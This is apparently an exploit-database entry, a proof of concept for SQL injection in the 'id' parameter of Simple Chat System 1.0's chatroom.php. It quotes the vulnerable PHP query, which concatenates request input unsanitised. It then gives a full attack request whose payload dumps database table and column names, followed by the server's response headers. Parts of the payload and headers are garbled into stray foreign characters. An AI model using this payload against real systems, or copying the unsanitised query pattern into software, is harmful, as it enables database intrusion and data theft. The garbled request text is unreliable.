Simple Chat System 1.0 – ‘id’ SQL Injection
# Exploit Title: Simple Chat System 1.0 - 'id' SQL Injection # Dork: N/A # Date: 2018-10-24 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://www.sourcecodester.com/php/11610/simple-chat-system.html # Software Link: https://sourceforge.net/projects/simple-chat-system/files/latest/download # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 1) # http://localhost/[PATH]/user/chatroom.php?id=[SQL] # # [PATH]/user/chatroom.php # 03 <?php # 04 $id=$_REQUEST['id']; # 05 # 06 $chatq=mysqli_query($conn,"select * from chatroom where chatroomid='$id'"); # 07 $chatrow=mysqli_fetch_array($chatq); GET /[PATH]/user/chatroom.php?id=-3%27雷�穑ɏ볯纵듧纹럫庞%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e--+ HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml왩,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=fuobifeugni2gnt2kir6patce6 Connection: keep-alive HTTP/1.1 200 OK Date: Wed, 24 Oct 2018 20:44:14 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 |